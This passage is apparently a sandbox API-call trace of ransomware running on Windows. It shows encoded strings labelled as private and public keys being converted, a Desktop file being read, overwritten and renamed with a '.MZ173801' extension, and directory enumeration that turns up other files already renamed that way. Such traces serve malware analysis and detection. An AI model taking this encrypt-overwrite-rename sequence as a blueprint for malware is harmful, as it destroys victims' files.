lpWideCharStr="MZRKEYPRIVATEwr7DlTDCocONwrgtOQPCn8OPw6BVOcK1w7jDl8OHWMKdPcOkBMKlwoXDtRU4w70Ew4FzOMOcwpwrS01QOGgeUMKfw4vDqcKPw43DtMOYwqFNwr0nRcOBV8Knwp9vVMOSwojCnsOiXcKhcsKtwo7CjUBaXcKcPWvCuAU4w7XCtMOfO8KIwqJEwobDkn/DtBzCicKaDGbCp8OfKzUxw55PwrM5KjjDncKcNGXCuMKFw7fDmcK4IltIw5fCnDk6w7xxwpdhw6kRLcO8w6jCiMOSAiYHwoUywrLCl8KJBX7DgBXDni0GwphlwpPCkcO4wqHDvMKRPMOnwpFqJmcCQBJjw5fDphzCgHJywqwsXhfDnWgSWnFrXsKaDsKgwp3CsMO8OcOuw7HCvMOXHRLCthDCpkPDicKlWxFmQjzDq8O+RcOow7xsOTYxb2hswqzCoi9hw7DDqcOGERzCvXc5QsOXHMOCHjR6E8ONOsO4w540QDIUB3psM8KBEcKmFgJnw7XCvsO6wpHCmjczw57Cl8KTUcKaVEzDgsOFwpIBwoYyBi5sw7pRwpI/EV5Kwr5xw6U4wovDvBwjw5nDsMKDwpPCiD54YVBmHcO8woXDjTzDvyvCpMKew48Gwp5EwqvCoTYxcsOeZ8Oxw7XCl8Kiw7Mkw6xtEx7CisO/w5s6woTDt23DvHHDisORw4dKw6N5Yw4OWWnCoWtBFVADMVTDsxwyw6RcATQkwpw9wrlvRWomw7PCtVIdw6lyw5cJw5J4w5zCnTjDvDk6ZFnDrsO8FcOza8Ouw6lew4PDhsKqFcKaNsKJw7x5NhJRFm8Jwq5rwolmwpLDgSbCqyTDjcKIVMKjYnjCisOEFgsVN3o5w5A5BsKUI8KKw68BK0HDtFZlw7xcwrgCYjx+w4/DhXEgMUQDDsK4C0Evw4fDkn7Ct8KsPMKdw7o4ATIew7jDscOBw4fCnWTCowXCtm15E8OZb8Otw5d4UX/DtMKRQMKOw4TDqE1qCwPCnH7DusObw4s7HnojcMKKNMOAwpfDgcKaOQtEa8KLw47ClWvChcOewrd6LsOPwqjCpsKYRMOhwp5kHGplO8KJMcKrwo7DncOcw7PDgcOEw54Ww51QC8KuDsOSN8O0w4bCmV/ChTxrw54rbzrDtMOfwpvDsXLCryZ/w7l6DsKILMKxf8KqwpnCqFZ/wqnCoGvDhTZ+OcKJccKmw57DjcOzY3pZw7vCsMKGwobCqGLDjX/CqsOvw5VAVMKFXgHDpsKkM8K+ZDggE8KSw53Cm8OgwqLCoXlNfzlhQMOyN8ODw7DDnsKGUHx4GsKPw6lqVcKkwok/QAzCscOVWcK7b2jCoGEcZXJywqLCgMOKw6EVw4cSwp5Uw5/Dj8Kodjo0wonDq8KkHWbDnsKmCSbDg8O9woHDrsOoFl3DmcOqw6fDicK0w609w4dVwq1/w4HCrsKSc8OGwoTCrsKoBWcrQ8K5HTTDrsO4w6nCugc5wrjCpMKTL8KUMzrDh8K4fsOOw48iwqHDgU9qwoHDj0A9wr9CfsK0JnbDn8OjPWjDqcOnQhDDi8KOOcKeeXpjQMOCasK+w4bDg8O4wog/wqzCq3/DtQdxwoJyw7cvMcONw6JrXcK3w5VcwrHCkcKIBsKcUMOuwo7DjQfCnlU5YsO+wotHw6R1w4PDlMOuTcKSb8OdRE3DksOFw7zCsCjDusKaSHnDm8KcwpFvIw7DlcKQw4DDqsKdE8KXw4t+RMOXwo9Aw7jCuWbDucOXwqLDmcOfT8K3w4Jow6AyDsKuPcK4X3/DokdWPTbCt8O3w4HDh8Kiw502WcOXIMO8woLDsRLCpnplwrtew7zChsO0ekTDh8Khwq56cgvDnCbCvcK9WcOdNMKXw7nDj8KwAWYVw4bDuTnCnMKwwopew7cyMw9iwofCncOLw48awotFwrYvwoDCvcOxJsK7w7wwwoTCocOYJRVLw4/CnjPCl8OrwpE4w7xkwoLCg8KGw4HDqDMcwrVFTcO2en/DsMONw5dmZDokbEzCq8KFwqjDrcOXccOHwpVzw5/DvsKDBDE7VAZlw7ArZ8KGccOww6cPwrDDr8OfwozCtnHCl8KXwrjCuMK0w7XDsWHDrjLDmHptw546D1fDnUxQb8KlwqnDjcK2w43CrcOJGCPDoHrCuD3DtAfCtWbDoDPDr8K6YUghR8OBwq8tIBQVw68kwrrClwbDozLDn8OFwpMLw5HCucOFK8O6wp7CqsOfwrbDvMKFBsOCwofCsX7Dt0DChRTDs8KlIsOAw40yYlsWw4E6w5LCpxrDjT7CkMK4JsOGw7DCnB0yCWIeQcKxGlLCucOCwpHCt1DDtcOvwrhxcFjDs8OzM8Omwo3CncOUesOfw7B8ZlDDgjLCm3HCgsK3C1Yw", cchWideChar=2417, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 2417 [0177.151] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="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", cchWideChar=2417, lpMultiByteStr=0x321794c, cbMultiByte=2417, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="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", lpUsedDefaultChar=0x0) returned 2417 [0177.152] GetCurrentThreadId () returned 0xab4 [0177.152] GetCurrentThreadId () returned 0xab4 [0177.152] GetCurrentThreadId () returned 0xab4 [0177.152] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 644 [0177.152] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", cchWideChar=644, lpMultiByteStr=0x32289ac, cbMultiByte=644, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MZRKEYPUBLICwoDDl8KASgLCnSbDhTM0wrtyXcK3FsK8OcKMw4kDa8KJcUIsfEpCJGIow6/Diy8aw4vCm8OLMgVOw5dhVmwywq0awrcQdcKKYz49w4/DvAsDwol4C1XCmMKARGULwobDgsOCa1TCsRBpw64GAi3Di8O/ERPCqjwMFGHDuWx6fMO4wpfCmD7CncKFK8OKW1DDjWcLaFLDih7CtcOKLcOeXgHDuR7DssOBwonCuU08woxdZUvCngPDvMOcLMOww60xwrRww6opwpcUw5zCicKaw43Ctkh2Hn7CjHgJWRNFwrgpTGwzw41ow6ACOMOCKlvDoMONw63CkcOuXMOUwrnCl8ODwoDDhMOdel8qwrAif8Kowp49w4Bqw6/CsMKbUMOLwpHCkXEew6TClMO3UcOjDw7DlCPChAdQQsOOUcOCNENvbMOeS37DgyLDp8K+wrnCgMOSw5RdNsOLRW4tA8K8I8KXw4N1wrvDvHFqwobDpsO1wqjChUMPSsKhDMOZcWzDt8KAQ8Kdwq/Cuj3Di8KWPWrCk8K4BXIWwrnCgsK6aF0MPh4Yw6lFwobCr2VlacKjw5DCjj7Cnh1yw4fDlcOHw6gRHMKRw5fCpcOuwr3DpMKJwqY6wp5/w7U=", lpUsedDefaultChar=0x0) returned 644 [0177.152] GetCurrentThreadId () returned 0xab4 [0177.153] GetCurrentThreadId () returned 0xab4 [0177.153] GetCurrentThreadId () returned 0xab4 [0177.153] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\XsWSFfkpZ7NjwRf.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\xswsffkpz7njwrf.wav"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0177.153] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa0c*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa0c*=0) returned 0x0 [0177.153] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0177.153] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0xce53 [0177.153] SetFilePointer (in: hFile=0x328, lDistanceToMove=0, lpDistanceToMoveHigh=0x19fa04*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x19fa04*=0) returned 0x0 [0177.153] ReadFile (in: hFile=0x328, lpBuffer=0x24a0010, nNumberOfBytesToRead=0xce53, lpNumberOfBytesRead=0x19fa18, lpOverlapped=0x0 | out: lpBuffer=0x24a0010*, lpNumberOfBytesRead=0x19fa18*=0xce53, lpOverlapped=0x0) returned 1 [0177.160] CloseHandle (hObject=0x328) returned 1 [0177.161] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\Desktop\\XsWSFfkpZ7NjwRf.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\xswsffkpz7njwrf.wav"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x328 [0177.163] WriteFile (in: hFile=0x328, lpBuffer=0x24ae040*, nNumberOfBytesToWrite=0xce53, lpNumberOfBytesWritten=0x19fa24, lpOverlapped=0x0 | out: lpBuffer=0x24ae040*, lpNumberOfBytesWritten=0x19fa24*=0xce53, lpOverlapped=0x0) returned 1 [0177.165] CloseHandle (hObject=0x328) returned 1 [0177.165] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\Desktop\\XsWSFfkpZ7NjwRf.wav" (normalized: "c:\\users\\fd1hvy\\desktop\\xswsffkpz7njwrf.wav"), lpNewFileName="C:\\Users\\FD1HVy\\Desktop\\XsWSFfkpZ7NjwRf.wav.MZ173801" (normalized: "c:\\users\\fd1hvy\\desktop\\xswsffkpz7njwrf.wav.mz173801")) returned 1 [0177.166] GetCurrentThreadId () returned 0xab4 [0177.166] GetCurrentThreadId () returned 0xab4 [0177.166] GetCurrentThreadId () returned 0xab4 [0177.166] GetCurrentThreadId () returned 0xab4 [0177.166] GetCurrentThreadId () returned 0xab4 [0177.166] GetCurrentThreadId () returned 0xab4 [0177.166] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce9e4a20, ftCreationTime.dwHighDateTime=0x1d5e714, ftLastAccessTime.dwLowDateTime=0xff0acf80, ftLastAccessTime.dwHighDateTime=0x1d5e313, ftLastWriteTime.dwLowDateTime=0xff0acf80, ftLastWriteTime.dwHighDateTime=0x1d5e313, nFileSizeHigh=0x0, nFileSizeLow=0x44b7, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="YBwdz7.odp", cAlternateFileName="")) returned 1 [0177.166] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0177.166] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0177.166] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xce9e4a20, ftCreationTime.dwHighDateTime=0x1d5e714, ftLastAccessTime.dwLowDateTime=0xff0acf80, ftLastAccessTime.dwHighDateTime=0x1d5e313, ftLastWriteTime.dwLowDateTime=0xff0acf80, ftLastWriteTime.dwHighDateTime=0x1d5e313, nFileSizeHigh=0x0, nFileSizeLow=0x44b7, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="YBwdz7.odp", cAlternateFileName="")) returned 0 [0177.166] GetLastError () returned 0x12 [0177.166] FindClose (in: hFindFile=0xa1b150 | out: hFindFile=0xa1b150) returned 1 [0177.166] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\Desktop\\*.*", lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x93bd8c70, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x93bd8c70, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0xa1b150 [0177.167] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac8 | out: lpLocalFileTime=0x19fac8) returned 1 [0177.167] FileTimeToDosDateTime (in: lpFileTime=0x19fac8, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0177.167] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0x3476bd48, ftCreationTime.dwHighDateTime=0x1d32722, ftLastAccessTime.dwLowDateTime=0x93bd8c70, ftLastAccessTime.dwHighDateTime=0x1d61fff, ftLastWriteTime.dwLowDateTime=0x93bd8c70, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0177.167] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0177.167] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0177.167] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9bd54f60, ftCreationTime.dwHighDateTime=0x1d5f0c1, ftLastAccessTime.dwLowDateTime=0x768157b0, ftLastAccessTime.dwHighDateTime=0x1d5e683, ftLastWriteTime.dwLowDateTime=0x91d6dcd3, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x16fe1, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="-0ebDk.pptx.MZ173801", cAlternateFileName="-0EBDK~1.MZ1")) returned 1 [0177.167] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0177.167] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0177.167] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x50b73420, ftCreationTime.dwHighDateTime=0x1d5ece4, ftLastAccessTime.dwLowDateTime=0x42e98dc0, ftLastAccessTime.dwHighDateTime=0x1d5ef8c, ftLastWriteTime.dwLowDateTime=0x9231765e, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0x1496c, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="-1A7SasGu.swf.MZ173801", cAlternateFileName="-1A7SA~1.MZ1")) returned 1 [0177.167] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0177.167] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0177.167] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8732ecd0, ftCreationTime.dwHighDateTime=0x1d5ec2e, ftLastAccessTime.dwLowDateTime=0x9f8540a0, ftLastAccessTime.dwHighDateTime=0x1d5e8c1, ftLastWriteTime.dwLowDateTime=0x92579bfe, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xe796, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="-BDuYPMgtElm0fIg.gif.MZ173801", cAlternateFileName="-BDUYP~1.MZ1")) returned 1 [0177.167] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0177.167] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 | out: lpFatDate=0x19fb32, lpFatTime=0x19fb30) returned 1 [0177.167] FindNextFileW (in: hFindFile=0xa1b150, lpFindFileData=0x19fb50 | out: lpFindFileData=0x19fb50*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x660c9d40, ftCreationTime.dwHighDateTime=0x1d5eb88, ftLastAccessTime.dwLowDateTime=0x9dafbc50, ftLastAccessTime.dwHighDateTime=0x1d5eb3d, ftLastWriteTime.dwLowDateTime=0x9278fc86, ftLastWriteTime.dwHighDateTime=0x1d61fff, nFileSizeHigh=0x0, nFileSizeLow=0xe595, dwReserved0=0x10d3395a, dwReserved1=0x0, cFileName="-kGuY.rtf.MZ173801", cAlternateFileName="-KGUYR~1.MZ1")) returned 1 [0177.167] FileTimeToLocalFileTime (in: lpFileTime=0x19fb64, lpLocalFileTime=0x19fac4 | out: lpLocalFileTime=0x19fac4) returned 1 [0177.167] FileTimeToDosDateTime (in: lpFileTime=0x19fac4, lpFatDate=0x19fb32, lpFatTime=0x19fb30 